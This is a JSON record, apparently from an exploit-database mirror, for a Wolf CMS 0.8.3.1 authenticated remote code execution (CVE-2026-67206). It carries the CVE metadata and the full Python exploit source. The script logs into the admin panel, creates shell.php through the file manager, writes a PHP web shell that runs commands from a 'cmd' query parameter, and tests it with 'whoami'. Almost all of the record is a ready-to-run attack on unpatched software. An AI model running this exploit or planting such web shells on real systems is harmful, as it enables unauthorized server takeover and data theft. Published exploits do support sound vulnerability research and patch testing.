{"exploit":{"id":"EDB-52672","name":"Wolf CMS 0.8.3.1 - 'file_manager' Authenticated Remote Code Execution (RCE)","description":"Wolf CMS 0.8.3.1 - 'file_manager' Authenticated Remote Code Execution (RCE)","cves":["CVE-2026-67206"],"author":"Balachandar Gowrisankar","published":"2026-09-01","platform":"php","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52672","path":"exploits/php/webapps/52672.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52672.py","vulnerabilities":[{"id":"CVE-2026-67206","state":"PUBLISHED","title":"Wolf CMS 0.8.3.1 Authenticated RCE via FileManagerController File Upload","titleSource":"CVE Program","description":"Wolf CMS through 0.8.3.1 contains a remote code execution vulnerability in FileManagerController that allows authenticated attackers to create arbitrary PHP files by exploiting missing file extension validation in the create_file() and save() functions. Attackers with the file_manager_mkfile capability can write malicious PHP content into the web-accessible FILES_DIR directory and trigger execution by requesting the file over HTTP.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-67206","cvss":{"version":"4.0","baseScore":8.7,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-67206"},"updatedAt":"2026-08-14T16:50:50.098Z","retrievedAt":"2026-11-25T16:13:46.970Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52672.png?v=2","url":"https://exploitbin.com/exploits/EDB-52672","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52672/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52672/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Wolf CMS  0.8.3.1 - RCE\n# Date: 02-08-2026\n# Exploit Author: Balachandar Gowrisankar\n# Software Link: https://github.com/wolfcms/wolfcms\n# Version: <= 0.8.3.1\n# Tested on: Kali GNU/Linux Rolling, Wolf CMS 0.8.3.1, Apache 2.4.68, Python 3.13.14\n# CVE: CVE-2026-67206\n# CVSS v3 Score: 8.8\n\n# Note: Wolf CMS GitHub repository has been archived as of Aug 28, 2021 and no patches have been rolled out at the time of writing\n\n# Usage: python exploit.py <base_url> -u <username> -p <password>\n# Example Usage: python exploit.py http://127.0.0.1:8080/ -u admin -p admin\n\nimport requests\nimport argparse\nfrom bs4 import BeautifulSoup\n\nclass WolfCMS:\n    def __init__(self, base_url):\n        self.base_url = base_url.rstrip(\"/\")\n        self.session = requests.Session()\n\n    def login(self, username, password):\n        data = {\n            \"login[username]\": username,\n            \"login[password]\": password,\n            \"login[redirect]\": \"\"\n        }\n\n        r = self.session.post(\n            f\"{self.base_url}/?/admin/login/login\",\n            data=data,\n            allow_redirects=True\n        )\n\n        if r.url  == self.base_url + \"/?/admin/\":\n            print(\"[+] Login successful\")\n        else:\n            print(\"[-] Login unsuccessful. Check username, password and base URL\")\n            exit()\n\n    def get_csrf_token(self, api, action):\n\n        response = self.get(api)\n\n        soup = BeautifulSoup(response.text, \"html.parser\")\n\n        create_form = soup.find(\n            \"form\",\n            action=lambda x: x and x.endswith(action)\n        )\n\n        csrf_token = create_form.find(\n            \"input\",\n            {\"name\": \"csrf_token\"}\n        )[\"value\"]\n\n        return csrf_token\n\n    def create_file(self):\n\n        csrf_token = self.get_csrf_token(\"/?/admin/plugin/file_manager\", \"/?/admin/plugin/file_manager/create_file\")\n\n        data = {\n            \"csrf_token\": csrf_token,\n            \"file[path]\": \"/\",\n            \"file[name]\": \"shell.php\",\n            \"commit\": \"Create\"\n        }\n\n        r = self.session.post(\n            f\"{self.base_url}/?/admin/plugin/file_manager/create_file\",\n            data=data,\n            allow_redirects=True\n        )\n\n        if \"shell.php\" in r.text:\n            print(\"[+] File creation successful\")\n        else:\n            print(\"[-] File creation unsuccessful. Exiting.\")\n            exit()\n\n    def write_shell(self):\n\n        csrf_token = self.get_csrf_token(\"/?/admin/plugin/file_manager/view/shell.php\", \"/?/admin/plugin/file_manager/save\")\n\n        data = {\n            \"file[filter]\": \"\",\n            \"file[name]\": \"shell.php\",\n            \"csrf_token\": csrf_token,\n            \"file[content]\": \"<?php system($_GET['cmd']);?>\",\n            \"commit\": \"Save\"\n        }\n\n        r = self.session.post(\n            f\"{self.base_url}/?/admin/plugin/file_manager/save\",\n            data=data,\n            allow_redirects=True\n        )\n\n        print(\"[+] Payload written successfully!\")\n        print(\"[+] Web shell can be accessed with 'cmd' query string at \" + self.base_url + \"/public/shell.php\")\n        print(\"[+] Testing output of \" + self.base_url + \"/public/shell.php?cmd=whoami\")\n        print(self.get(\"/public/shell.php?cmd=whoami\").text)\n\n    def get(self, path):\n        return self.session.get(f\"{self.base_url}{path}\")\n\ndef main():\n\n    parser = argparse.ArgumentParser(description=\"Wolf CMS RCE PoC Exploit\")\n\n    parser.add_argument(\"base_url\", help=\"Base URL of Wolf CMS. Eg: http://127.0.0.1/wolfcms/\")\n    parser.add_argument(\"-u\", \"--username\", type=str, default=\"admin\", help=\"Login username\")\n    parser.add_argument(\"-p\", \"--password\", type=str, default=\"admin\", help=\"Login password\")\n\n    args = parser.parse_args()\n\n    cms = WolfCMS(args.base_url)\n\n    print(\"[*] Logging in with provided credentials...\")\n    cms.login(args.username, args.password)\n\n    print(\"\\n[*] Creating a file named shell.php...\")\n    cms.create_file()\n\n    print(\"\\n[*] Attempting to write payload to shell.php...\")\n    cms.write_shell()\n\nif __name__ == \"__main__\":\n    main()","sha256":"2e13da6f7c7f2b6dfd83dba67ec613554d2527e7e57c172b66c356b0c7527e96","bytes":4073,"fetchedAt":"2026-11-25T10:17:07.127Z","encoding":"utf-8 (display only; download retains original bytes)"}